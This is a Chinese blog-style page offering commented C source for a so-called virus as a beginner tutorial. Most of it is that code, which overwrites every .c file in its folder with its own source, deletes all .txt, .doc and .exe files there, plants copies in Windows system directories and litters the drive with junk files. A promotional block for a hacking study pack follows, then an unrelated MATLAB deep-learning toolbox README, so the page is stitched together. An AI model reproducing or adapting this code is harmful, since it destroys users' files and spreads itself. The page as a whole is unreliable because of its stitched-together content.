C语言开发病毒程序,零基础入门到精通,收藏这篇就够了

用C编的病毒程序举例-请不要乱传,乱用! 简单的病毒程序  首先声明:本程序是我举的一个例子为了叫大家理解就可以了如果大家拿去捉弄人,我不负任何责任!希望大家要以学习为重!对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,再次声明这 阅读详情

http://blog.sina.com.cn/s/blog_6808495c0100wanr.html

语言开发病毒程序实例C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。

C语言编写的病毒程序源代码 - 给C语言初学者: 复制内容到剪贴板 代码:C语言开发病毒程序

//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //定义文件指针
     in = fopen(infile,"r"); //打开文件
    out = fopen(outfile,"w"); //建立文件
    while (!feof(in)) //判断文件是否已结束
    {www.ad0.cn
        fputc (fgetc(in),out); //从in读一字符到out
    }
    fclose (in); //关闭in文件
    fclose (out);//关闭out文件
    return 0; //返回
}
int MakeRubbish (void)
{
    int i; //声明整形变量i
    FILE *fp; //文件指针fp
    char *path; //路径指针
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //循环4次
    {
        char tempname[] = "XXXXXX" ; //随机名字
        NewName = mktemp(tempname);  //建立唯一的文件名
        fp = fopen(NewName,"w");  //创建文本文件
        fclose (fp); //关闭fp文件流
    }
    path = strcat(disk[getdisk()],addtion); //得到根编号
    chdir(path); //改变工作目录
    for (i = 0; i<5; i++) //循环次数
    {
        char tempname[] = "XXXXXX"; //串赋入数组
        NewName = mktemp(tempname); //建立唯一的文件名
        fp = fopen(NewName,"w");    //创建新文件
        fclose (fp); //关闭文件
    }
    return 0; //返回
}
int CreatEXE (void)
{
    int i; //整形变量
    char *path; //字符指针
    char *s[2] = {         //重要目录
                    "C:\\WINDOWS\\system32\\loveworm.exe",
                    "C:\\WINDOWS\\virusssss.com"
                 };
    for ( i = 0; i < 2; i++) //循环控制次数
    {
        open(s, 0x0100,0x0080); //打开文件写入数据
        copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据
    }
    return 0;
}
int Remove (void) //去处
{
    int done; //定义整形变量
    int i;
    struct ffblk ffblk; //声明结构体变量ffblk
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组
    for (i = 0; i < 3; i++)//控制循环次数
    {
        done = findfirst(documenttype,&ffblk,2);//搜索目录
        while (!done) //查找成功返回0
        {
            remove (ffblk.ff_name); //删除一个文件
            done = findnext(&ffblk);
        }
    }
    return 0;//返回
}
int Breed (void) //养殖模块
{
    int done;//整形变量
    struct ffblk ffblk; //声名结构变量
    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
        {
            copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }
    return 0;
}
int main (void) //程序入口地址
{
    printf ("液虫病毒,by:仙剑逍遥.\n");
    Breed (); //养殖病毒
    Remove (); //去处
    CreatEXE ();
    printf ("您能告诉我您的名字?\n");
    printf ("现在麻烦您输入您的名字!\n");
    MakeRubbish (); //调用子函数
    getchar ();
    clrscr (); //清除屏幕
    system ("cmd");
    getch ();
    return 0;
}

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

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1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


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2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


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3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

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超强c++病毒代码(附源码),让你的电脑快快乐乐 阅读详情

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B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

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从C语言到C++的进阶之C到C++的转变(篇一)

C++是在C语言的基础上发展出来的,在C语言的基础上又形成了新的对象、类、继承等用法,本文专注于从C语言到C++的转变与进阶,不断深入学习C++语言程序设计。

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程序员_大白
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